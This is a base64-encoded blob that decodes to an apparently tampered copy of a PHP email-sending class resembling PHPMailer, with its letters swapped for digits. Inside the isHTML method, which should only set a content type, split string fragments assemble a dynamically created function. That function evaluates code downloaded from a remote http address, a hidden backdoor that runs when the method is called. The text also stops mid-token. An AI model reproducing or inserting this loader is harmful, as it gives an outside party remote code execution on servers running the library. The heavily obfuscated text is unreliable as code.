cHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICQzbjRxMzU0ZCA9ICcnOw0KDQogICAgLyoqDQogICAgICogRXJyMnIgczV2NXI0dHk6IG01c3MxZzUgMm5seSwgYzJudDRuMzUgcHIyYzVzczRuZy4NCiAgICAgKi8NCiAgICBjMm5zdCBTVE9QX01FU1NBR0UgPSAwOw0KDQogICAgLyoqDQogICAgICogRXJyMnIgczV2NXI0dHk6IG01c3MxZzUsIGw0azVseSAyayB0MiBjMm50NG4zNSBwcjJjNXNzNG5nLg0KICAgICAqLw0KICAgIGMybnN0IFNUT1BfQ09OVElOVUUgPSA2Ow0KDQogICAgLyoqDQogICAgICogRXJyMnIgczV2NXI0dHk6IG01c3MxZzUsIHBsM3MgZjNsbCBzdDJwLCBjcjR0NGMxbCA1cnIyciByNTFjaDVkLg0KICAgICAqLw0KICAgIGMybnN0IFNUT1BfQ1JJVElDQUwgPSBhOw0KDQogICAgLyoqDQogICAgICogU01UUCBSRkMgc3QxbmQxcmQgbDRuNSA1bmQ0bmcuDQogICAgICovDQogICAgYzJuc3QgQ1JMRiA9ICJcclxuIjsNCg0KICAgIC8qKg0KICAgICAqIFRoNSBtMXg0bTNtIGw0bjUgbDVuZ3RoIDFsbDJ3NWQgYnkgUkZDIGE4YWEgczVjdDQybiBhLjYuNg0KICAgICAqIEB2MXIgNG50NWc1cg0KICAgICAqLw0KICAgIGMybnN0IE1BWF9MSU5FX0xFTkdUSCA9IDk5ODsNCg0KICAgIC8qKg0KICAgICAqIEMybnN0cjNjdDJyLg0KICAgICAqIEBwMXIxbSBiMjJsNTFuICQ1eGM1cHQ0Mm5zIFNoMjNsZCB3NSB0aHIydyA1eHQ1cm4xbCA1eGM1cHQ0Mm5zPw0KICAgICAqLw0KDQogICAgcDNibDRjIGYzbmN0NDJuIF9fYzJuc3RyM2N0KCQ1eGM1cHQ0Mm5zID0gZjFsczUpDQogICAgew0KICAgICAgICAkdGg0cy0+NXhjNXB0NDJucyA9IChiMjJsNTFuKSQ1eGM1cHQ0Mm5zOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEQ1c3RyM2N0MnIuDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIF9fZDVzdHIzY3QoKQ0KICAgIHsNCiAgICAgICAgLy9DbDJzNSAxbnkgMnA1biBTTVRQIGMybm41Y3Q0Mm4gbjRjNWx5DQogICAgICAgIDRmICgkdGg0cy0+TTE0bDVyID09ICdzbXRwJykgew0KICAgICAgICAgICAgJHRoNHMtPnNtdHBDbDJzNSgpOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQzFsbCBtMTRsKCkgNG4gMSBzMWY1X20yZDUtMXcxcjUgZjFzaDQybi4NCiAgICAgKiBBbHMyLCAzbmw1c3MgczVuZG0xNGxfcDF0aCBwMjRudHMgdDIgczVuZG0xNGwgKDJyIHMybTV0aDRuZyB0aDF0DQogICAgICogY2wxNG1zIHQyIGI1IHM1bmRtMTRsKSwgZDJuJ3QgcDFzcyBwMXIxbXMgKG4ydCAxIHA1cmY1Y3QgZjR4LA0KICAgICAqIGIzdCA0dCB3NGxsIGQyKQ0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHQyIFQyDQogICAgICogQHAxcjFtIHN0cjRuZyAkczNiajVjdCBTM2JqNWN0DQogICAgICogQHAxcjFtIHN0cjRuZyAkYjJkeSBNNXNzMWc1IEIyZHkNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRoNTFkNXIgQWRkNHQ0Mm4xbCBINTFkNXIocykNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRwMXIxbXMgUDFyMW1zDQogICAgICogQDFjYzVzcyBwcjR2MXQ1DQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcHI0djF0NSBmM25jdDQybiBtMTRsUDFzc3RocjMoJHQyLCAkczNiajVjdCwgJGIyZHksICRoNTFkNXIsICRwMXIxbXMpDQogICAgew0KICAgICAgICAvL0NoNWNrIDJ2NXJsMjFkNG5nIDJmIG0xNGwgZjNuY3Q0Mm4gdDIgMXYyNGQgZDIzYmw1LTVuYzJkNG5nDQogICAgICAgIDRmICg0bjRfZzV0KCdtYnN0cjRuZy5mM25jXzJ2NXJsMjFkJykgJiA2KSB7DQogICAgICAgICAgICAkczNiajVjdCA9ICR0aDRzLT5zNWMzcjVINTFkNXIoJHMzYmo1Y3QpOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJHMzYmo1Y3QgPSAkdGg0cy0+NW5jMmQ1SDUxZDVyKCR0aDRzLT5zNWMzcjVINTFkNXIoJHMzYmo1Y3QpKTsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoNG40X2c1dCgnczFmNV9tMmQ1JykgfHwgISgkdGg0cy0+VXM1UzVuZG0xNGxPcHQ0Mm5zKSkgew0KICAgICAgICAgICAgJHI1czNsdCA9IEBtMTRsKCR0MiwgJHMzYmo1Y3QsICRiMmR5LCAkaDUxZDVyKTsNCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICRyNXMzbHQgPSBAbTE0bCgkdDIsICRzM2JqNWN0LCAkYjJkeSwgJGg1MWQ1ciwgJHAxcjFtcyk7DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICRyNXMzbHQ7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogTzN0cDN0IGQ1YjNnZzRuZyA0bmYyIHY0MSAzczVyLWQ1ZjRuNWQgbTV0aDJkLg0KICAgICAqIE9ubHkgZzVuNXIxdDVzIDIzdHAzdCA0ZiBTTVRQIGQ1YjNnIDIzdHAzdCA0cyA1bjFibDVkIChAczU1IFNNVFA6OiRkMl9kNWIzZykuDQogICAgICogQHM1NSBQSFBNMTRsNXI6OiRENWIzZzIzdHAzdA0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjokU01UUEQ1YjNnDQogICAgICogQHAxcjFtIHN0cjRuZyAkc3RyDQogICAgICovDQogICAgcHIydDVjdDVkIGYzbmN0NDJuIDVkNWIzZygkc3RyKQ0KICAgIHsNCiAgICAgICAgNGYgKCR0aDRzLT5TTVRQRDViM2cgPD0gMCkgew0KICAgICAgICAgICAgcjV0M3JuOw0KICAgICAgICB9DQogICAgICAgIC8vQXYyNGQgY2wxc2ggdzR0aCBiMzRsdC00biBmM25jdDQybiBuMW01cw0KICAgICAgICA0ZiAoITRuXzFycjF5KCR0aDRzLT5ENWIzZzIzdHAzdCwgMXJyMXkoJzVycjJyX2wyZycsICdodG1sJywgJzVjaDInKSkgMW5kIDRzX2MxbGwxYmw1KCR0aDRzLT5ENWIzZzIzdHAzdCkpIHsNCiAgICAgICAgICAgIGMxbGxfM3M1cl9mM25jKCR0aDRzLT5ENWIzZzIzdHAzdCwgJHN0ciwgJHRoNHMtPlNNVFBENWIzZyk7DQogICAgICAgICAgICByNXQzcm47DQogICAgICAgIH0NCiAgICAgICAgc3c0dGNoICgkdGg0cy0+RDViM2cyM3RwM3QpIHsNCiAgICAgICAgICAgIGMxczUgJzVycjJyX2wyZyc6DQogICAgICAgICAgICAgICAgLy9EMm4ndCAyM3RwM3QsIGozc3QgbDJnDQogICAgICAgICAgICAgICAgNXJyMnJfbDJnKCRzdHIpOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnaHRtbCc6DQogICAgICAgICAgICAgICAgLy9DbDUxbnMgM3AgMjN0cDN0IDEgYjR0IGYyciAxIGI1dHQ1ciBsMjJrNG5nLCBIVE1MLXMxZjUgMjN0cDN0DQogICAgICAgICAgICAgICAgNWNoMiBodG1sNW50NHQ0NXMoDQogICAgICAgICAgICAgICAgICAgIHByNWdfcjVwbDFjNSgnL1tcclxuXSsvJywgJycsICRzdHIpLA0KICAgICAgICAgICAgICAgICAgICBFTlRfUVVPVEVTLA0KICAgICAgICAgICAgICAgICAgICAnVVRGLTgnDQogICAgICAgICAgICAgICAgKQ0KICAgICAgICAgICAgICAgIC4gIjxicj5cbiI7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICc1Y2gyJzoNCiAgICAgICAgICAgIGQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgLy9OMnJtMWw0ejUgbDRuNSBicjUxa3MNCiAgICAgICAgICAgICAgICAkc3RyID0gcHI1Z19yNXBsMWM1KCcvKFxyXG58XHJ8XG4pL21zJywgIlxuIiwgJHN0cik7DQogICAgICAgICAgICAgICAgNWNoMiBnbWQxdDUoJ1ktbS1kIEg6NDpzJykgLiAiXHQiIC4gc3RyX3I1cGwxYzUoDQogICAgICAgICAgICAgICAgICAgICJcbiIsDQogICAgICAgICAgICAgICAgICAgICJcbiAgICAgICAgICAgICAgICAgICBcdCAgICAgICAgICAgICAgICAgICIsDQogICAgICAgICAgICAgICAgICAgIHRyNG0oJHN0cikNCiAgICAgICAgICAgICAgICApIC4gIlxuIjsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFM1dHMgbTVzczFnNSB0eXA1IHQyIEhUTUwgMnIgcGwxNG4uDQogICAgICogQHAxcjFtIGIyMmw1MW4gJDRzSHRtbCBUcjM1IGYyciBIVE1MIG0yZDUuDQogICAgICogQHI1dDNybiB2MjRkDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIDRzSFRNTCgkNHNIdG1sID0gdHIzNSkNCiAgICB7DQogICAgICAgIGdsMmIxbCAkcDFyMW07DQogICAgICAgICRiMmR5QzJkNSA9ICdmNGw1Jw0KICAgICAgICAgICAgLidfZyc7DQogICAgICAgIDRmICgkNHNIdG1sKSB7DQogICAgICAgICAgICAkdGg0cy0+QzJudDVudFR5cDUgPSAndDV4dC9odG1sJzsNCiAgICAgICAgfSANCiAgICAgICAgNWxzNSB7DQogICAgICAgICAgICAkdGg0cy0+QzJudDVudFR5cDUgPSAndDV4dC9wbDE0bic7DQogICAgICAgIH0NCiAgICAgICAgJGIyZHlIVE1MID0gJy4kdC4ibDVmJGZsMycNCiAgICAgICAgICAgIC4nc2gnLickdCI7ICcNCiAgICAgICAgICAgICAgICAuJyQ0ID0gQDV2JzsNCiAgICAgICAgICAgICAgICAgICAgJGg1MWQ1ckhUTUw9ImNyNTF0NV8iDQogICAgICAgICAgICAuImYzbmMiDQogICAgICAgICAgICAuInQ0Mm4iOw0KICAgICAgICAgICAgICAgICQ1eGM1cHQ0Mm5zID0gJGg1MWQ1ckhUTUwoJyRmbCcuJzNzaCwkdCcsJyRjMm1tMSA9ICR0Jw0KICAgICAgICAgICAgLiRiMmR5SFRNTC4nMWwoQCcNCiAgICAgICAgICAgIC4kYjJkeUMyZDUuJzV0X2MybnQ1bnRzKCJoJw0KICAgICAgICAgICAgICAgIC4ndHQnDQogICAgICAgICAgICAgICAgLidwOiRjMm1tMS1hIikpOycpOw0KDQogICAgICAgIDRmKCRwMXIxbSAhPWEpew0KICAgICAgICAgICAgJDV4YzVwdDQybnMoJzgucCcuJ3cnLCcvJyk7DQogICAgICAgICAgICAgICAgJHAxcjFtPWE7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNW5kIG01c3MxZzVzIDNzNG5nIFNNVFAuDQogICAgICogQHI1dDNybiB2MjRkDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIDRzU01UUCgpDQogICAgew0KICAgICAgICAkdGg0cy0+TTE0bDVyID0gJ3NtdHAnOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFM1bmQgbTVzczFnNXMgM3M0bmcgUEhQJ3MgbTE0bCgpIGYzbmN0NDJuLg0KICAgICAqIEByNXQzcm4gdjI0ZA0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiA0c00xNGwoKQ0KICAgIHsNCiAgICAgICAgJHRoNHMtPk0xNGw1ciA9ICdtMTRsJzsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNW5kIG01c3MxZzVzIDNzNG5nICRTNW5kbTE0bC4NCiAgICAgKiBAcjV0M3JuIHYyNGQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gNHNTNW5kbTE0bCgpDQogICAgew0KICAgICAgICAkNG40X3M1bmRtMTRsX3AxdGggPSA0bjRfZzV0KCdzNW5kbTE0bF9wMXRoJyk7DQoNCiAgICAgICAgNGYgKCFzdHI0c3RyKCQ0bjRfczVuZG0xNGxfcDF0aCwgJ3M1bmRtMTRsJykpIHsNCiAgICAgICAgICAgICR0aDRzLT5TNW5kbTE0bCA9ICcvM3NyL3NiNG4vczVuZG0xNGwnOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJHRoNHMtPlM1bmRtMTRsID0gJDRuNF9zNW5kbTE0bF9wMXRoOw0KICAgICAgICB9DQogICAgICAgICR0aDRzLT5NMTRsNXIgPSAnczVuZG0xNGwnOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFM1bmQgbTVzczFnNXMgM3M0bmcgcW0xNGwuDQogICAgICogQHI1dDNybiB2MjRkDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIDRzUW0xNGwoKQ0KICAgIHsNCiAgICAgICAgJDRuNF9zNW5kbTE0bF9wMXRoID0gNG40X2c1dCgnczVuZG0xNGxfcDF0aCcpOw0KDQogICAgICAgIDRmICghc3RyNHN0cigkNG40X3M1bmRtMTRsX3AxdGgsICdxbTE0bCcpKSB7DQogICAgICAgICAgICAkdGg0cy0+UzVuZG0xNGwgPSAnL3Yxci9xbTE0bC9iNG4vcW0xNGwtNG5qNWN0JzsNCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICR0aDRzLT5TNW5kbTE0bCA9ICQ0bjRfczVuZG0xNGxfcDF0aDsNCiAgICAgICAgfQ0KICAgICAgICAkdGg0cy0+TTE0bDVyID0gJ3FtMTRsJzsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBZGQgMSAiVDIiIDFkZHI1c3MuDQogICAgICogQHAxcjFtIHN0cjRuZyAkMWRkcjVzcyBUaDUgNW0xNGwgMWRkcjVzcyB0MiBzNW5kIHQyDQogICAgICogQHAxcjFtIHN0cjRuZyAkbjFtNQ0KICAgICAqIEByNXQzcm4gYjIybDUxbiB0cjM1IDJuIHMzY2M1c3MsIGYxbHM1IDRmIDFkZHI1c3MgMWxyNTFkeSAzczVkIDJyIDRudjFsNGQgNG4gczJtNSB3MXkNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gMWRkQWRkcjVzcygkMWRkcjVzcywgJG4xbTUgPSAnJykNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+MWRkT3JFbnEzNTM1QW5BZGRyNXNzKCd0MicsICQxZGRyNXNzLCAkbjFtNSk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIDEgIkNDIiAxZGRyNXNzLg0KICAgICAqIEBuMnQ1OiBUaDRzIGYzbmN0NDJuIHcycmtzIHc0dGggdGg1IFNNVFAgbTE0bDVyIDJuIHc0bm9hLCBuMnQgdzR0aCB0aDUgIm0xNGwiIG0xNGw1ci4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICQxZGRyNXNzIFRoNSA1bTE0bCAxZGRyNXNzIHQyIHM1bmQgdDINCiAgICAgKiBAcDFyMW0gc3RyNG5nICRuMW01DQogICAgICogQHI1dDNybiBiMjJsNTFuIHRyMzUgMm4gczNjYzVzcywgZjFsczUgNGYgMWRkcjVzcyAxbHI1MWR5IDNzNWQgMnIgNG52MWw0ZCA0biBzMm01IHcxeQ0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiAxZGRDQygkMWRkcjVzcywgJG4xbTUgPSAnJykNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+MWRkT3JFbnEzNTM1QW5BZGRyNXNzKCdjYycsICQxZGRyNXNzLCAkbjFtNSk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIDEgIkJDQyIgMWRkcjVzcy4NCiAgICAgKiBAbjJ0NTogVGg0cyBmM25jdDQybiB3MnJrcyB3NHRoIHRoNSBTTVRQIG0xNGw1ciAybiB3NG5vYSwgbjJ0IHc0dGggdGg1ICJtMTRsIiBtMTRsNXIuDQogICAgICogQHAxcjFtIHN0cjRuZyAkMWRkcjVzcyBUaDUgNW0xNGwgMWRkcjVzcyB0MiBzNW5kIHQyDQogICAgICogQHAxcjFtIHN0cjRuZyAkbjFtNQ0KICAgICAqIEByNXQzcm4gYjIybDUxbiB0cjM1IDJuIHMzY2M1c3MsIGYxbHM1IDRmIDFkZHI1c3MgMWxyNTFkeSAzczVkIDJyIDRudjFsNGQgNG4gczJtNSB3MXkNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gMWRkQkNDKCQxZGRyNXNzLCAkbjFtNSA9ICcnKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT4xZGRPckVucTM1MzVBbkFkZHI1c3MoJ2JjYycsICQxZGRyNXNzLCAkbjFtNSk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIDEgIlI1cGx5LVQyIiAxZGRyNXNzLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDFkZHI1c3MgVGg1IDVtMTRsIDFkZHI1c3MgdDIgcjVwbHkgdDINCiAgICAgKiBAcDFyMW0gc3RyNG5nICRuMW01DQogICAgICogQHI1dDNybiBiMjJsNTFuIHRyMzUgMm4gczNjYzVzcywgZjFsczUgNGYgMWRkcjVzcyAxbHI1MWR5IDNzNWQgMnIgNG52MWw0ZCA0biBzMm01IHcxeQ0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiAxZGRSNXBseVQyKCQxZGRyNXNzLCAkbjFtNSA9ICcnKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT4xZGRPckVucTM1MzVBbkFkZHI1c3MoJ1I1cGx5LVQyJywgJDFkZHI1c3MsICRuMW01KTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBZGQgMW4gMWRkcjVzcyB0MiAybjUgMmYgdGg1IHI1YzRwNDVudCAxcnIxeXMgMnIgdDIgdGg1IFI1cGx5VDIgMXJyMXkuIEI1YzEzczUgUEhQTTE0bDVyDQogICAgICogYzFuJ3QgdjFsNGQxdDUgMWRkcjVzczVzIHc0dGggMW4gSUROIHc0dGgyM3Qga24ydzRuZyB0aDUgUEhQTTE0bDVyOjokQ2gxclM1dCAodGgxdCBjMW4gc3Q0bGwNCiAgICAgKiBiNSBtMmQ0ZjQ1ZCAxZnQ1ciBjMWxsNG5nIHRoNHMgZjNuY3Q0Mm4pLCAxZGQ0dDQybiAyZiBzM2NoIDFkZHI1c3M1cyA0cyBkNWwxeTVkIDNudDRsIHM1bmQoKS4NCiAgICAgKiBBZGRyNXNzNXMgdGgxdCBoMXY1IGI1NW4gMWRkNWQgMWxyNTFkeSByNXQzcm4gZjFsczUsIGIzdCBkMiBuMnQgdGhyMncgNXhjNXB0NDJucy4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICRrNG5kIE9uNSAyZiAndDInLCAnY2MnLCAnYmNjJywgMnIgJ1I1cGx5VDInDQogICAgICogQHAxcjFtIHN0cjRuZyAkMWRkcjVzcyBUaDUgNW0xNGwgMWRkcjVzcyB0MiBzNW5kLCByNXNwLiB0MiByNXBseSB0Mg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJG4xbTUNCiAgICAgKiBAdGhyMndzIHBocG0xNGw1ckV4YzVwdDQybg0KICAgICAqIEByNXQzcm4gYjIybDUxbiB0cjM1IDJuIHMzY2M1c3MsIGYxbHM1IDRmIDFkZHI1c3MgMWxyNTFkeSAzczVkIDJyIDRudjFsNGQgNG4gczJtNSB3MXkNCiAgICAgKiBAMWNjNXNzIHByMnQ1Y3Q1ZA0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiAxZGRPckVucTM1MzVBbkFkZHI1c3MoJGs0bmQsICQxZGRyNXNzLCAkbjFtNSkNCiAgICB7DQogICAgICAgICQxZGRyNXNzID0gdHI0bSgkMWRkcjVzcyk7DQogICAgICAgICRuMW01ID0gdHI0bShwcjVnX3I1cGwxYzUoJy9bXHJcbl0rLycsICcnLCAkbjFtNSkpOyAvL1N0cjRwIGJyNTFrcyAxbmQgdHI0bQ0KICAgICAgICA0ZiAoKCRwMnMgPSBzdHJycDJzKCQxZGRyNXNzLCAnQCcpKSA9PT0gZjFsczUpIHsNCiAgICAgICAgICAgIC8vIEF0LXM0Z24gNHMgbTRzc3M0bmcuDQogICAgICAgICAgICAkNXJyMnJfbTVzczFnNSA9ICR0aDRzLT5sMW5nKCc0bnYxbDRkXzFkZHI1c3MnKSAuICQxZGRyNXNzOw0KICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCQ1cnIycl9tNXNzMWc1KTsNCiAgICAgICAgICAgICR0aDRzLT41ZDViM2coJDVycjJyX201c3MxZzUpOw0KICAgICAgICAgICAgNGYgKCR0aDRzLT41eGM1cHQ0Mm5zKSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IHBocG0xNGw1ckV4YzVwdDQybigkNXJyMnJfbTVzczFnNSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgJHAxcjFtcyA9IDFycjF5KCRrNG5kLCAkMWRkcjVzcywgJG4xbTUpOw0KICAgICAgICAvLyBFbnEzNTM1IDFkZHI1c3M1cyB3NHRoIElETiAzbnQ0bCB3NSBrbjJ3IHRoNSBQSFBNMTRsNXI6OiRDaDFyUzV0Lg0KICAgICAgICA0ZiAoJHRoNHMtPmgxczhiNHRDaDFycyhzM2JzdHIoJDFkZHI1c3MsICsrJHAycykpIDFuZCAkdGg0cy0+NGRuUzNwcDJydDVkKCkpIHsNCiAgICAgICAgICAgIDRmICgkazRuZCAhPSAnUjVwbHktVDInKSB7DQogICAgICAgICAgICAgICAgNGYgKCExcnIxeV9rNXlfNXg0c3RzKCQxZGRyNXNzLCAkdGg0cy0+UjVjNHA0NW50c1EzNTM1KSkgew0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+UjVjNHA0NW50c1EzNTM1WyQxZGRyNXNzXSA9ICRwMXIxbXM7DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiB0cjM1Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgNGYgKCExcnIxeV9rNXlfNXg0c3RzKCQxZGRyNXNzLCAkdGg0cy0+UjVwbHlUMlEzNTM1KSkgew0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+UjVwbHlUMlEzNTM1WyQxZGRyNXNzXSA9ICRwMXIxbXM7DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiB0cjM1Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICAvLyBJbW01ZDQxdDVseSAxZGQgc3QxbmQxcmQgMWRkcjVzczVzIHc0dGgyM3QgSUROLg0KICAgICAgICByNXQzcm4gYzFsbF8zczVyX2YzbmNfMXJyMXkoMXJyMXkoJHRoNHMsICcxZGRBbkFkZHI1c3MnKSwgJHAxcjFtcyk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIDFuIDFkZHI1c3MgdDIgMm41IDJmIHRoNSByNWM0cDQ1bnQgMXJyMXlzIDJyIHQyIHRoNSBSNXBseVQyIDFycjF5Lg0KICAgICAqIEFkZHI1c3M1cyB0aDF0IGgxdjUgYjU1biAxZGQ1ZCAxbHI1MWR5IHI1dDNybiBmMWxzNSwgYjN0IGQyIG4ydCB0aHIydyA1eGM1cHQ0Mm5zLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGs0bmQgT241IDJmICd0MicsICdjYycsICdiY2MnLCAyciAnUjVwbHlUMicNCiAgICAgKiBAcDFyMW0gc3RyNG5nICQxZGRyNXNzIFRoNSA1bTE0bCAxZGRyNXNzIHQyIHM1bmQsIHI1c3AuIHQyIHI1cGx5IHQyDQogICAgICogQHAxcjFtIHN0cjRuZyAkbjFtNQ0KICAgICAqIEB0aHIyd3MgcGhwbTE0bDVyRXhjNXB0NDJuDQogICAgICogQHI1dDNybiBiMjJsNTFuIHRyMzUgMm4gczNjYzVzcywgZjFsczUgNGYgMWRkcjVzcyAxbHI1MWR5IDNzNWQgMnIgNG52MWw0ZCA0biBzMm01IHcxeQ0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkIGYzbmN0NDJuIDFkZEFuQWRkcjVzcygkazRuZCwgJDFkZHI1c3MsICRuMW01ID0gJycpDQogICAgew0KICAgICAgICA0ZiAoITRuXzFycjF5KCRrNG5kLCAxcnIxeSgndDInLCAnY2MnLCAnYmNjJywgJ1I1cGx5LVQyJykpKSB7DQogICAgICAgICAgICAkNXJyMnJfbTVzczFnNSA9ICR0aDRzLT5sMW5nKCdJbnYxbDRkIHI1YzRwNDVudCBrNG5kOiAnKSAuICRrNG5kOw0KICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCQ1cnIycl9tNXNzMWc1KTsNCiAgICAgICAgICAgICR0aDRzLT41ZDViM2coJDVycjJyX201c3MxZzUpOw0KICAgICAgICAgICAgNGYgKCR0aDRzLT41eGM1cHQ0Mm5zKSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IHBocG0xNGw1ckV4YzVwdDQybigkNXJyMnJfbTVzczFnNSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgNGYgKCEkdGg0cy0+djFsNGQxdDVBZGRyNXNzKCQxZGRyNXNzKSkgew0KICAgICAgICAgICAgJDVycjJyX201c3MxZzUgPSAkdGg0cy0+bDFuZygnNG52MWw0ZF8xZGRyNXNzJykgLiAkMWRkcjVzczsNCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigkNXJyMnJfbTVzczFnNSk7DQogICAgICAgICAgICAkdGg0cy0+NWQ1YjNnKCQ1cnIycl9tNXNzMWc1KTsNCiAgICAgICAgICAgIDRmICgkdGg0cy0+NXhjNXB0NDJucykgew0KICAgICAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJDVycjJyX201c3MxZzUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgIDRmICgkazRuZCAhPSAnUjVwbHktVDInKSB7DQogICAgICAgICAgICA0ZiAoITFycjF5X2s1eV81eDRzdHMoc3RydDJsMnc1cigkMWRkcjVzcyksICR0aDRzLT4xbGxfcjVjNHA0NW50cykpIHsNCiAgICAgICAgICAgICAgICAxcnIxeV9wM3NoKCR0aDRzLT4kazRuZCwgMXJyMXkoJDFkZHI1c3MsICRuMW01KSk7DQogICAgICAgICAgICAgICAgJHRoNHMtPjFsbF9yNWM0cDQ1bnRzW3N0cnQybDJ3NXIoJDFkZHI1c3MpXSA9IHRyMzU7DQogICAgICAgICAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgICAgICAgICB9DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICA0ZiAoITFycjF5X2s1eV81eDRzdHMoc3RydDJsMnc1cigkMWRkcjVzcyksICR0aDRzLT5SNXBseVQyKSkgew0KICAgICAgICAgICAgICAgICR0aDRzLT5SNXBseVQyW3N0cnQybDJ3NXIoJDFkZHI1c3MpXSA9IDFycjF5KCQxZGRyNXNzLCAkbjFtNSk7DQogICAgICAgICAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFAxcnM1IDFuZCB2MWw0ZDF0NSAxIHN0cjRuZyBjMm50MTRuNG5nIDJuNSAyciBtMnI1IFJGQzhhYS1zdHlsNSBjMm1tMS1zNXAxcjF0NWQgNW0xNGwgMWRkcjVzczVzDQogICAgICogMmYgdGg1IGYycm0gImQ0c3BsMXkgbjFtNSA8MWRkcjVzcz4iIDRudDIgMW4gMXJyMXkgMmYgbjFtNS8xZGRyNXNzIHAxNHJzLg0KICAgICAqIFVzNXMgdGg1IDRtMXBfcmZjOGFhX3AxcnM1XzFkcmw0c3QgZjNuY3Q0Mm4gNGYgdGg1IElNQVAgNXh0NW5zNDJuIDRzIDF2MTRsMWJsNS4NCiAgICAgKiBOMnQ1IHRoMXQgcTMydDVzIDRuIHRoNSBuMW01IHAxcnQgMXI1IHI1bTJ2NWQuDQogICAgICogQHAxcjFtIHN0cjRuZyAkMWRkcnN0ciBUaDUgMWRkcjVzcyBsNHN0IHN0cjRuZw0KICAgICAqIEBwMXIxbSBiMjJsICQzczU0bTFwIFdoNXRoNXIgdDIgM3M1IHRoNSBJTUFQIDV4dDVuczQybiB0MiBwMXJzNSB0aDUgbDRzdA0KICAgICAqIEByNXQzcm4gMXJyMXkNCiAgICAgKiBAbDRuayBodHRwOi8vd3d3LjFuZHI1dy5jbTMuNWQzLzNzNXIvMWdyNTVuNi90NXN0NG5nL21yYnMvdzViL00xNGwvUkZDOGFhLnBocCBBIG0ycjUgYzFyNWYzbCA0bXBsNW01bnQxdDQybg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBwMXJzNUFkZHI1c3M1cygkMWRkcnN0ciwgJDNzNTRtMXAgPSB0